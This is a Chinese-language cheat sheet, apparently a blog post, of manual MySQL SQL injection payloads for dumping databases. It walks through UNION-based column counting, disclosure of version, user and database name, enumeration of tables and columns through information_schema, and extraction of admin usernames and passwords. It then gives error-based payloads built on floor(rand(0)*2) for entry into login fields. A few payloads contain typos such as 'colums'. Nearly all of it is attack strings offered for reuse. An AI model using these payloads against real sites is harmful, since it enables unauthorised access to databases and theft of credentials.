本期给大家整理了一下手工的爆库语句,虽然没有sqlmap那么好,但是在特定的情况下还是很有用,大家可以收藏作为一个笔记使用。
MySQL数据库(5.0以上才可以利用information_schema手工测) union select 1,version(),3,4,5,6,7,8,9,10
//测数据库版本 order by 10
//给列排序
union select 1,2,3,4,5,6,7,8,9,10
//union联合查询,在前面加上and 1=1 报错查询列,比如错误的列是2,那么使用如下的:union select 1,database(),3,4,5,6,7,8,9,10 爆出当前数据库,或者用use()显示当前的用户
union select 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.table where table_schema='xycms' //当知道了一个数据库名,这条语句的意思就是指定数据库为xycms,查这个数据库所有的表名
union select 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.colums where table_schema='manage_user'
//假设爆出的表名为manage_user,列出这个表有哪些列名
union select 1,group_concat(m_name,m_pwd),3,4,5,6,7,8,9,10 from manage_user //爆出了列名,指定一下两个列名,爆里面的数据 MySQL显错注入 (加单引号报错).以下语句直接放到注入的点,如:账号输入框 爆当前数据库用户,直接带入到查询的地方 -999999999' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b# 爆当前数据库名称 -999999999' union select 1 from (select count(*),concat(floor(rand(0)*2),(select database() limit 0,1))a from information_schema.tables group by a)b# 爆当前版本号 -999999999' union select 1 from (select count(*),concat(floor(rand(0)*2),(select version() limit 0,1))a from information_schema.tables group by a)b# 爆当前数据库 -999999999' and (select 1 from (select count(*),concat((select (select concat(0x7e,0x27,hex(cast(database()as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# 爆表 //0x64656E67为上面爆出的数据库名的十六进制 'and (select 1 from (select count(*),concat((select (select distinct concat(0x7e,0x27,hex(cast(table_name as char)),0x27,0x7e)) from information_schema.tables where table_schema=0x64656E67 limit 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# 爆字段 'and (select 1 from (select count(*),concat((select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e)) from information_schema.columns where table_schema=0x64656E67 and table_name=0x75736572 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2)x from information_schema.tables group by x)a)#